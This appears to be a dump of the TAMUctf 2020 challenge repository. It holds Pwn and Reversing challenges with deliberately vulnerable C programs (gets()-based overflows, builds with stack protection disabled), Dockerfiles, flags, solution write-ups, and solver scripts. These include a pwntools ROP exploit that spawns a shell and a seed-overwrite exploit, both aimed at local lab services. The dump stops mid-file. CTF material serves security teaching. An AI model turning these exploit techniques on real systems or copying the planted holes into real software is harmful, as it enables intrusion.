30 | -------------------------------------------------------------------------------- /Pwn/grpc_toctou/server/server.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Pwn/grpc_toctou/server/server.o -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bullseye-slim as build 2 | 3 | RUN apt update 4 | RUN apt -y install build-essential gcc-multilib 5 | COPY gunzipasaservice.c /tmp/gunzipasaservice.c 6 | RUN gcc /tmp/gunzipasaservice.c -o /tmp/gunzipasaservice -fno-stack-protector -no-pie -m32 7 | 8 | FROM debian:bullseye-slim 9 | RUN dpkg --add-architecture i386 10 | RUN apt update 11 | RUN apt install -y socat 12 | RUN apt install -y libc6:i386 13 | COPY --from=build /tmp/gunzipasaservice /pwn/gunzipasaservice 14 | COPY flag.txt /pwn/flag.txt 15 | 16 | WORKDIR /pwn 17 | 18 | EXPOSE 4709 19 | 20 | ENTRYPOINT ["sh", "-c", "exec socat -d -d tcp-l:4709,reuseaddr,fork exec:/pwn/gunzipasaservice,stderr"] 21 | -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/Dockerfile.build: -------------------------------------------------------------------------------- 1 | 2 | FROM debian:bullseye-slim as build 3 | 4 | RUN apt update; apt -y install build-essential gcc-multilib 5 | 6 | WORKDIR /opt/build 7 | 8 | ENTRYPOINT ["gcc"] 9 | -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t gcc:debian -f Dockerfile.build . 3 | docker run --net=host --user $(id -u):$(id -g) --rm -ti -v $(pwd):/opt/build gcc:debian gunzipasaservice.c -o gunzipasaservice -fno-stack-protector -no-pie -m32 -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{r0p_71m3} -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/gunzipasaservice.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int subprocess(const char *cmd, int* to, int* from) { 6 | int input[2]; 7 | int output[2]; 8 | 9 | pipe(input); 10 | pipe(output); 11 | 12 | if(fork() == 0) { 13 | close(input[1]); 14 | dup2(input[0], 0); 15 | close(output[0]); 16 | dup2(output[1], 1); 17 | execl("/bin/sh", "sh", "-c", cmd, NULL); 18 | } 19 | *to = input[1]; 20 | *from = output[0]; 21 | close(output[1]); 22 | return 0; 23 | } 24 | 25 | void gets_fd(char* buf, int fd) { 26 | int saved_stdin = dup(0); 27 | dup2(fd, 0); 28 | gets(buf); 29 | dup2(saved_stdin, 0); 30 | } 31 | 32 | void gunzip() { 33 | int to; 34 | int from; 35 | subprocess("gunzip", &to, &from); 36 | char filebuf[512]; 37 | memset(filebuf,0,512); 38 | int length = read(0, filebuf, 512); 39 | write(to, filebuf, length); 40 | close(to); 41 | 42 | char buf[512]; 43 | memset(buf, 0, 512); 44 | gets_fd(&buf, from); 45 | fwrite(buf, 1, 512, stdout); 46 | } 47 | 48 | int main() { 49 | gunzip(); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/readme.md: -------------------------------------------------------------------------------- 1 | # Gunzip as a service 2 | 3 | ```text 4 | nc 172.17.0.2 4709 5 | ``` 6 | 7 | ## Setup 8 | 9 | 1. `docker build -t gunzipasaservice .` 10 | 2. `docker run --rm -d --read-only gunzipasaservice` 11 | 12 | ## Brief Dev Description 13 | 14 | It is a buffer overflow problem with the NX bit set so you can't use shellcode. The program uses execl and has a /bin/sh string so its pretty easy to get a shell from overwriting the return address. the buffer overflow vulnerability is not in the program input but in the buffer that the gzipped input decompresses to. 15 | 16 | ## Solution 17 | 18 | 1. Determine offset required to overwrite the return address. I just paused it in gdb and used info frame to get the return address. 19 | 2. Get address of execl and a /bin/sh string. Both are used in the binary so its pretty easy to grab them with objdump and strings. 20 | 3. Create payload. It should be 1048 bytes to the return address and then the execl address / placeholder / /bin/sh address 21 | 4. Compress payload using gzip 22 | 5. Send payload to binary 23 | 6. Enjoy your new shell -------------------------------------------------------------------------------- /Pwn/gunzipasaservice/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import * 3 | 4 | context.terminal = '/usr/bin/terminal' 5 | 6 | #p = process("./gunzipasaservice") 7 | p = remote("localhost",4709) 8 | elf = ELF("./gunzipasaservice") 9 | rop = ROP(elf) 10 | 11 | 12 | BINSH_OFFSET = next(elf.search(b'/bin/sh')) 13 | 14 | rop.execl(BINSH_OFFSET) 15 | payload = b'A' * (1024 + 24) 16 | payload += rop.chain() 17 | print(rop.dump()) 18 | proc = Popen("gzip", stdin=PIPE, stdout=PIPE, stderr=STDOUT) 19 | 20 | compressed = proc.communicate(input=payload)[0] 21 | open("file.txt","wb").write(compressed) 22 | p.send(compressed) 23 | p.interactive() 24 | -------------------------------------------------------------------------------- /Pwn/lejit/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | venv/ 4 | # Cargo.lock 5 | -------------------------------------------------------------------------------- /Pwn/lejit/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rustlang/rust:nightly-slim as build 2 | 3 | RUN USER=root cargo new --bin lejit 4 | WORKDIR /lejit 5 | 6 | COPY lejit/Cargo.lock ./Cargo.lock 7 | COPY lejit/Cargo.toml ./Cargo.toml 8 | 9 | RUN cargo build --release 10 | RUN rm src/*.rs 11 | 12 | COPY lejit/src/main.rs ./src/main.rs 13 | 14 | RUN rm ./target/release/deps/lejit* 15 | RUN cargo build --release 16 | 17 | FROM debian:buster-slim 18 | MAINTAINER Addison Crump "addisoncrump@tamu.edu" 19 | 20 | RUN apt update; apt -y --autoremove full-upgrade; apt -y install socat 21 | RUN apt-get autoremove 22 | RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 23 | 24 | COPY --from=build /lejit/target/release/lejit /usr/bin/lejit 25 | COPY flag.txt /root/flag.txt 26 | 27 | EXPOSE 31337 28 | 29 | CMD ["/bin/bash", "-c", "exec socat -d -d TCP-LISTEN:31337,reuseaddr,fork EXEC:/usr/bin/lejit,stderr"] 30 | -------------------------------------------------------------------------------- /Pwn/lejit/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{2_l3J17_2_qU17_0op5_n3veRm1Nd} 2 | -------------------------------------------------------------------------------- /Pwn/lejit/lejit/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "lejit" 3 | version = "0.1.0" 4 | authors = ["Addison Crump "] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | dynasm = "0.5.2" 11 | dynasmrt = "0.5.2" 12 | itertools = "0.8.2" 13 | libc = "0.2.66" 14 | -------------------------------------------------------------------------------- /Pwn/troll/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster-slim as build 2 | 3 | RUN apt update; apt -y install build-essential 4 | 5 | COPY troll.c /tmp/troll.c 6 | RUN gcc -o /tmp/troll -fno-stack-protector /tmp/troll.c 7 | 8 | FROM debian:buster-slim 9 | 10 | env DEBIAN_FRONTEND="noninteractive" 11 | 12 | RUN apt-get update && apt-get install socat -y 13 | 14 | RUN groupadd ctf 15 | 16 | RUN mkdir /pwn 17 | 18 | COPY --from=build /tmp/troll /pwn/troll 19 | COPY flag.txt /pwn/flag.txt 20 | COPY start.sh /pwn/start.sh 21 | 22 | RUN useradd -G ctf --home=/pwn pwnuser 23 | 24 | RUN chown -R pwnuser /pwn 25 | RUN chmod -R 555 /pwn 26 | 27 | EXPOSE 4765 28 | 29 | ENTRYPOINT ["/pwn/start.sh"] 30 | -------------------------------------------------------------------------------- /Pwn/troll/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | There's a troll who thinks his challenge won't be solved until the heat death of the universe. 4 | 5 | ## Documentation 6 | 7 | Basic stack overflow rand seed challenge. 8 | 9 | ### Setup 10 | 11 | 1. docker build . -t troll 12 | 2. docker run --rm -it -p 4765:4765 troll 13 | 14 | ## Solution 15 | 16 | Overflow the name string to overwrite the seed, then predict correctly. Just 17 | write your own code that prints the first 100 numbers from whatever seed you give. 18 | This is implemented in `solver.py` and `zeroseed.c`. 19 | 20 | Could also maybe overwrite RIP to flag printing code but that's extra. 21 | -------------------------------------------------------------------------------- /Pwn/troll/ans.txt: -------------------------------------------------------------------------------- 1 | 89384 2 | 30887 3 | 92778 4 | 36916 5 | 47794 6 | 38336 7 | 85387 8 | 60493 9 | 16650 10 | 41422 11 | 2363 12 | 90028 13 | 68691 14 | 20060 15 | 97764 16 | 13927 17 | 80541 18 | 83427 19 | 89173 20 | 55737 21 | 5212 22 | 95369 23 | 2568 24 | 56430 25 | 65783 26 | 21531 27 | 22863 28 | 65124 29 | 74068 30 | 3136 31 | 13930 32 | 79803 33 | 34023 34 | 23059 35 | 33070 36 | 98168 37 | 61394 38 | 18457 39 | 75012 40 | 78043 41 | 76230 42 | 77374 43 | 84422 44 | 44920 45 | 13785 46 | 98538 47 | 75199 48 | 94325 49 | 98316 50 | 64371 51 | 66414 52 | 3527 53 | 76092 54 | 68981 55 | 59957 56 | 41874 57 | 6863 58 | 99171 59 | 6997 60 | 97282 61 | 2306 62 | 20926 63 | 77085 64 | 36328 65 | 60337 66 | 26506 67 | 50847 68 | 21730 69 | 61314 70 | 25858 71 | 16125 72 | 53896 73 | 19583 74 | 546 75 | 98815 76 | 33368 77 | 15435 78 | 90365 79 | 44044 80 | 13751 81 | 71088 82 | 26809 83 | 17277 84 | 47179 85 | 95789 86 | 93585 87 | 5404 88 | 2652 89 | 92755 90 | 12400 91 | 99933 92 | 95061 93 | 49677 94 | 93369 95 | 47740 96 | 10013 97 | 36227 98 | 98587 99 | 48095 100 | 97540 101 | -------------------------------------------------------------------------------- /Pwn/troll/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!} 2 | -------------------------------------------------------------------------------- /Pwn/troll/solver.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote('127.0.0.1', 4765) 4 | 5 | r.recvuntil("Who goes there?\n") 6 | r.send("\x00"*0x50 + "\n") 7 | 8 | nums = open('ans.txt', 'r').readlines() 9 | for i in range(100): 10 | print(r.recvuntil("it?\n")) 11 | r.send(nums[i]) 12 | 13 | print(r.recv()) 14 | -------------------------------------------------------------------------------- /Pwn/troll/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:4765,reuseaddr,fork EXEC:/pwn/troll,stderr" - pwnuser; 6 | done 7 | -------------------------------------------------------------------------------- /Pwn/troll/troll.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() { 7 | setvbuf(stdout,_IONBF,0,0); 8 | 9 | time_t seed = time(NULL); 10 | int i, number, response; 11 | char name[32], flag[64]; 12 | FILE *flagfile; 13 | 14 | printf("Who goes there?\n"); 15 | 16 | gets(name); 17 | 18 | printf("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n", name); 19 | 20 | srand(seed); 21 | for (i = 0; i < 100; i++) { 22 | number = rand() % 100000 + 1; 23 | printf("I am thinking of a number from 1-100000. What is it?\n"); 24 | scanf("%d", &response); 25 | 26 | if (response == number) { 27 | printf("Impressive.\n"); 28 | } else { 29 | printf("You have failed. Goodbye.\n"); 30 | return 0; 31 | } 32 | } 33 | 34 | printf("You've guessed all of my numbers. Here is your reward.\n"); 35 | 36 | flagfile = fopen("flag.txt","r"); 37 | if(flagfile != NULL) { 38 | fgets(flag, 64, flagfile); 39 | printf("%s\n", flag); 40 | } 41 | 42 | printf("Goodbye.\n"); 43 | } 44 | -------------------------------------------------------------------------------- /Pwn/troll/zeroseed.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | srand(0); 5 | for (int i = 0; i < 100; i++) { 6 | printf("%d\n", rand() % 100000 + 1); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TAMU Problems 2020 2 | All of our problems in one place! 3 | 4 | These are the challenges from TAMUctf 2020: https://ctftime.org/event/1009 5 | -------------------------------------------------------------------------------- /Reversing/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/.gitkeep -------------------------------------------------------------------------------- /Reversing/about_time/.gitignore: -------------------------------------------------------------------------------- 1 | about_time 2 | .venv/ 3 | -------------------------------------------------------------------------------- /Reversing/about_time/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk add --update socat 4 | 5 | RUN addgroup -S ctf 6 | 7 | RUN mkdir /rvrs 8 | 9 | COPY about_time /rvrs/about_time 10 | COPY flag.txt /rvrs/flag.txt 11 | COPY entry.sh /rvrs/entry.sh 12 | 13 | RUN adduser -SDHG ctf rvrsuser 14 | RUN addgroup -S rvrsflag 15 | RUN adduser -SDHG ctf -G rvrsflag --home=/rvrs rvrsflag 16 | 17 | RUN chown rvrsflag:rvrsflag /rvrs/flag.txt 18 | RUN chown rvrsflag:rvrsflag /rvrs/about_time 19 | RUN chown rvrsflag:rvrsflag /rvrs 20 | 21 | RUN chmod 4755 /rvrs/about_time 22 | RUN chmod 444 /rvrs/flag.txt 23 | RUN chmod 4755 /rvrs/entry.sh 24 | 25 | WORKDIR /rvrs 26 | 27 | EXPOSE 4321 28 | ENTRYPOINT ["su", "-s", "/bin/sh", "-c", "/rvrs/entry.sh", "rvrsuser"] 29 | -------------------------------------------------------------------------------- /Reversing/about_time/Dockerfile.build: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | RUN apk add --update alpine-sdk 4 | -------------------------------------------------------------------------------- /Reversing/about_time/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o about_time -s about_time.c 3 | 4 | clean: 5 | rm about_time 6 | -------------------------------------------------------------------------------- /Reversing/about_time/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t about-time-builder -f Dockerfile.build . 4 | docker run --rm -ti --mount "type=bind,source=$(pwd),target=/tmp/build" about-time-builder sh -c "cd /tmp/build; gcc -s -o about_time about_time.c" 5 | 6 | docker build --rm -t about-time . 7 | -------------------------------------------------------------------------------- /Reversing/about_time/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while : 4 | do 5 | socat TCP-LISTEN:4321,reuseaddr,fork EXEC:/rvrs/about_time,stderr 6 | done 7 | -------------------------------------------------------------------------------- /Reversing/about_time/flag.txt: -------------------------------------------------------------------------------- 1 | 1tsAbOut7iMet0geTaw47CH 2 | -------------------------------------------------------------------------------- /Reversing/about_time/images/FUN_00100e60.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/FUN_00100e60.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/encryption.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/encryption.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/flag_file.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/flag_file.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/fun1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/fun1.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/fun2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/fun2.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/fun3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/fun3.PNG -------------------------------------------------------------------------------- /Reversing/about_time/images/libc_start_main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/about_time/images/libc_start_main.png -------------------------------------------------------------------------------- /Reversing/angrmanagement/.gitignore: -------------------------------------------------------------------------------- 1 | angrmanagement 2 | -------------------------------------------------------------------------------- /Reversing/angrmanagement/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster-slim as build 2 | 3 | RUN apt-get update -y; apt-get install build-essential -y; 4 | 5 | RUN mkdir /angrmanagement 6 | WORKDIR /angrmanagement 7 | COPY angrmanagement.c . 8 | RUN gcc angrmanagement.c -o angrmanagement -lm 9 | 10 | FROM ubuntu:latest 11 | 12 | env DEBIAN_FRONTEND="noninteractive" 13 | 14 | RUN apt-get update && apt-get install socat -y 15 | 16 | COPY --from=build /angrmanagement/angrmanagement /angrmanagement/angrmanagement 17 | COPY flag.txt /angrmanagement/flag.txt 18 | COPY start.sh /angrmanagement/start.sh 19 | 20 | RUN groupadd ctf 21 | RUN useradd -G ctf --home=/angrmanagement angrmanagement 22 | 23 | RUN chown -R angrmanagement /angrmanagement 24 | RUN chmod -R 555 /angrmanagement 25 | 26 | EXPOSE 4322 27 | 28 | ENTRYPOINT ["bash", "angrmanagement/start.sh"] 29 | -------------------------------------------------------------------------------- /Reversing/angrmanagement/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | `nc rev.tamuctf.com 4322` 4 | 5 | ## Documentation 6 | 7 | Reverse the password, use angr or similar tool if you don't hate yourself. I grabbed the same url scheme that was used last year. I assume it'll be the same this year but its possible that'll need to change. 8 | 9 | ### Setup 10 | 11 | 1. docker build . -t angrmanagement 12 | 2. docker run --rm -it -p 4322:4322 angrmanagement 13 | 14 | ## Solution 15 | 16 | I've attached a solver using angr. It's pretty straightforward. I make a symbolic variable of 32 bytes, tell it to write to stdin, and then give it memory addresses to find and avoid. I also constrain it to printable characters, but that is more for convenience. If I don't do that it is entirely possible it'll find a valid series of bytes that isn't entirely printable. 17 | -------------------------------------------------------------------------------- /Reversing/angrmanagement/constraintgen.py: -------------------------------------------------------------------------------- 1 | import re 2 | from random import shuffle, randint, choice, getrandbits 3 | from string import printable, whitespace 4 | printable = [x for x in printable if x not in ['\'', '\"', chr(0x0b), chr(10), "\\", "\n"] + [x for x in whitespace]] 5 | eqs = "({} == \'{}\')" 6 | neqs = "({} != \'{}\')" 7 | eqs_index = "(string[{}] == \'{}\')" 8 | ands = "({} && {})" 9 | ors = "({} || {})" 10 | gts = "({} >= {})" 11 | lts = "({} <= {})" 12 | 13 | pw = "(#P#;G~mT[$D5^E_$h.AC7{(Z.+c>AQj" 14 | 15 | check_length = 3 16 | 17 | def neconstraint(index): 18 | char = choice(printable) 19 | while char == pw[index]: 20 | char = choice(printable) 21 | return neqs.format("string[{}]".format(index), char) 22 | 23 | def leconstraint(index): 24 | num = randint(ord(pw[index]), 0x7e) 25 | return lts.format("string[{}]".format(index), num) 26 | 27 | def geconstrainst(index): 28 | num = randint(0x21, ord(pw[index])) 29 | return gts.format("string[{}]".format(index), num) 30 | 31 | def cons1(index): 32 | r1 = randint(1, 100) 33 | r2 = randint(1, 100) 34 | r3 = randint(1, 100) 35 | r4 = randint(1, 100) 36 | r5 = randint(1, 100) 37 | lhs = "(string[{}] * {} % {})".format(index, r1, r2) 38 | rhs = ord(pw[index]) * r1 % r2 39 | return "({} == {})".format(lhs, rhs) 40 | 41 | 42 | funcs = [neconstraint, leconstraint, geconstrainst, cons1] 43 | constraints = [] 44 | output = [] 45 | 46 | for i in range(32): 47 | for j in range(check_length): 48 | constraints.append(choice(funcs)(i)) 49 | shuffle(constraints) 50 | 51 | for i in range(0, 32*check_length, check_length): 52 | output.append(" && ".join(constraints[i:i+check_length])) 53 | 54 | comparison = "" 55 | for i in range(32): 56 | print("bool check_{}(char* string) {{ return {}; }}".format(i, output[i])) 57 | comparison += "check_{}(input) && ".format(i) 58 | 59 | print(comparison) 60 | 61 | -------------------------------------------------------------------------------- /Reversing/angrmanagement/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{4n63r_m4n463m3n7} -------------------------------------------------------------------------------- /Reversing/angrmanagement/solver.py: -------------------------------------------------------------------------------- 1 | from angr import * 2 | from claripy import * 3 | 4 | 5 | proj = Project('angrmanagement', load_options={ 'auto_load_libs': False, 'main_opts': {'base_addr': 0x0}}) 6 | 7 | x = BVS('x', 32 * 8) 8 | state = proj.factory.blank_state(stdin=x) 9 | 10 | 11 | 12 | # constrain to printable characters 13 | def char(state, byte): 14 | return state.solver.And(byte <= '~', byte >= ' ') 15 | 16 | for c in x.chop(8): 17 | state.solver.add(char(state, c)) 18 | 19 | sm = proj.factory.simulation_manager(state) 20 | 21 | 22 | sm.explore(find=0x2264, avoid=0x22b6) 23 | 24 | if sm.found: 25 | for i in sm.found: 26 | print(str(i.solver.eval(x, cast_to=bytes))) -------------------------------------------------------------------------------- /Reversing/angrmanagement/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while : 4 | do 5 | su -c "exec socat TCP-LISTEN:4322,reuseaddr,fork EXEC:./angrmanagement,stderr" - angrmanagement; 6 | done 7 | -------------------------------------------------------------------------------- /Reversing/just-bc/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | venv/ 4 | *.bin 5 | *.bc 6 | *.s 7 | just-bc 8 | -------------------------------------------------------------------------------- /Reversing/just-bc/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "just-bc" 3 | version = "0.1.0" 4 | authors = ["Addison Crump "] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | tokio = { version = "0.2.0", features = ["dns", "io-util", "macros", "rt-threaded", "tcp"] } 11 | 12 | [[bin]] 13 | name = "just-bc" 14 | path = "src/main.rs" 15 | -------------------------------------------------------------------------------- /Reversing/just-bc/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust as build 2 | 3 | WORKDIR /tmp 4 | RUN USER=root cargo init 5 | COPY Cargo.toml /tmp/Cargo.toml 6 | COPY Cargo.lock /tmp/Cargo.lock 7 | RUN cargo build --release 8 | 9 | COPY src/main.rs /tmp/src/main.rs 10 | COPY password.txt /tmp/password.txt 11 | RUN cargo clean 12 | RUN cargo build --release 13 | 14 | FROM debian:buster-slim 15 | 16 | COPY --from=build /tmp/target/release/just-bc /usr/bin/just-bc 17 | COPY flag.txt /flag.txt 18 | 19 | EXPOSE 4932 20 | 21 | ENTRYPOINT ["/usr/bin/just-bc"] 22 | -------------------------------------------------------------------------------- /Reversing/just-bc/README.md: -------------------------------------------------------------------------------- 1 | # Just BC 2 | 3 | A blind reversing of an uncommon bitcode from top to bottom. Have fun! 4 | 5 | ## Description 6 | 7 | ``` 8 | We found this reference file for a program contained by a remote server, but we have no idea what it is. 9 | All we know is that whenever we connect there's a password prompt. Can you figure out what that password is? 10 | 11 | The live instance is at 172.17.0.2:4932. 12 | ``` 13 | 14 | Contestants will be provided with just-bc.bin, generated by `./build.sh`. 15 | If you don't have rust installed, just ask Addison for a copy! 16 | 17 | ## Running 18 | 19 | 1. `docker build -t just-bc .` 20 | 2. `docker run --rm --read-only just-bc` 21 | 22 | ## Solution 23 | 24 | 1. Determine that the file is an LLVM-BC file. 25 | 2. Compile it to assembly with `llc` 26 | 3. `cat just_bc.s | grep "ascii" | grep -B 3 -A 3 "Password"` 27 | 4. `nc 172.17.0.2 4932` 28 | 5. `lmaoniceonebuddypalfriendolino` 29 | 6. Profit -------------------------------------------------------------------------------- /Reversing/just-bc/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CARGO_INCREMENTAL=0 cargo rustc --release -- --emit llvm-bc 4 | cp target/release/deps/*.bc just-bc.bin 5 | -------------------------------------------------------------------------------- /Reversing/just-bc/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{hmm_yes_interesting_very_interesting} -------------------------------------------------------------------------------- /Reversing/just-bc/password.txt: -------------------------------------------------------------------------------- 1 | lmaoniceonebuddypalfriendolino -------------------------------------------------------------------------------- /Reversing/just-bc/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::error::Error; 2 | use std::fs::File; 3 | use std::io::Read; 4 | 5 | use tokio; 6 | use tokio::io::BufReader; 7 | use tokio::net::TcpListener; 8 | use tokio::prelude::*; 9 | 10 | fn confirm(attempt: &String) -> bool { 11 | let password = include_str!("../password.txt").to_string(); 12 | 13 | attempt.eq(&password) 14 | } 15 | 16 | #[tokio::main] 17 | async fn main() -> Result<(), Box> { 18 | let addr = "0.0.0.0:4932"; 19 | let mut listener = TcpListener::bind(addr).await?; 20 | 21 | loop { 22 | let mut socket = listener.accept().await?.0; 23 | 24 | tokio::spawn(async move { 25 | let (rsocket, mut wsocket) = socket.split(); 26 | let mut reader = BufReader::new(rsocket); 27 | loop { 28 | wsocket 29 | .write(b"Password: ") 30 | .await 31 | .expect("failed to write data to socket"); 32 | 33 | let mut attempt = String::new(); 34 | reader 35 | .read_line(&mut attempt) 36 | .await 37 | .expect("couldn't read from input stream"); 38 | attempt.pop().unwrap(); // remove that pesky newline 39 | println!("Captured attempt: {}", attempt); 40 | 41 | let mut resp = String::new(); 42 | if confirm(&attempt) { 43 | File::open("/flag.txt") 44 | .expect("flag.txt wasn't found") 45 | .read_to_string(&mut resp) 46 | .expect("flag.txt wasn't readable"); 47 | } else { 48 | resp += "lmao nice try, but that's not it"; 49 | } 50 | resp.push('\n'); 51 | 52 | wsocket 53 | .write(resp.as_bytes()) 54 | .await 55 | .expect("failed to write data to socket"); 56 | } 57 | }); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | venv/ 4 | Cargo.lock 5 | -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rusty-at-reversing" 3 | version = "0.1.0" 4 | authors = ["Addison Crump "] 5 | edition = "2018" 6 | 7 | [profile.dev] 8 | opt-level = 0 9 | 10 | [profile.release] 11 | opt-level = 0 12 | codegen-units = 1 13 | 14 | [lib] 15 | crate-type = ["cdylib"] 16 | -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/Dockerfile.builder: -------------------------------------------------------------------------------- 1 | FROM rust:slim 2 | 3 | RUN rustup install nightly -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/assets/decrypt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/rusty-at-reversing/assets/decrypt.png -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/assets/decrypt_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/rusty-at-reversing/assets/decrypt_call.png -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/assets/functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/rusty-at-reversing/assets/functions.png -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/assets/retyping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/rusty-at-reversing/assets/retyping.png -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cargo clean 4 | RUSTFLAGS='-C link-arg=-s' cargo +nightly build --release 5 | -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t rust-nightly . -f Dockerfile.builder 4 | docker run --rm --user "$(id -u)":"$(id -g)" -v "$PWD":/usr/src/rusty-at-reversing -w /usr/src/rusty-at-reversing rust-nightly ./build.sh 5 | -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/link_solution.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | 3 | long * get_flag(long * param_1, char * param_2, size_t * param_3, long param_4, size_t param_5); 4 | 5 | int main() { 6 | char flag[28]; 7 | get_flag((long *) flag, NULL, NULL, 0, 0); 8 | printf("%.28s\n", flag); 9 | } -------------------------------------------------------------------------------- /Reversing/rusty-at-reversing/solution.c: -------------------------------------------------------------------------------- 1 | #include "stdio.h" 2 | 3 | void decrypt(char *flag) { 4 | char temp; 5 | char local_9 = 0xe4; 6 | for (int local_8 = 0; local_8 < 28; local_8++) { 7 | temp = flag[local_8]; 8 | flag[local_8] = local_9 ^ flag[local_8]; 9 | local_9 = temp; 10 | } 11 | } 12 | 13 | int main() { 14 | char flag [28]; 15 | 16 | flag[0] = 0x83; 17 | flag[1] = 0xea; 18 | flag[2] = 0x8d; 19 | flag[3] = 0xe8; 20 | flag[4] = 0x85; 21 | flag[5] = 0xfe; 22 | flag[6] = 0x93; 23 | flag[7] = 0xe1; 24 | flag[8] = 0xbe; 25 | flag[9] = 0xcd; 26 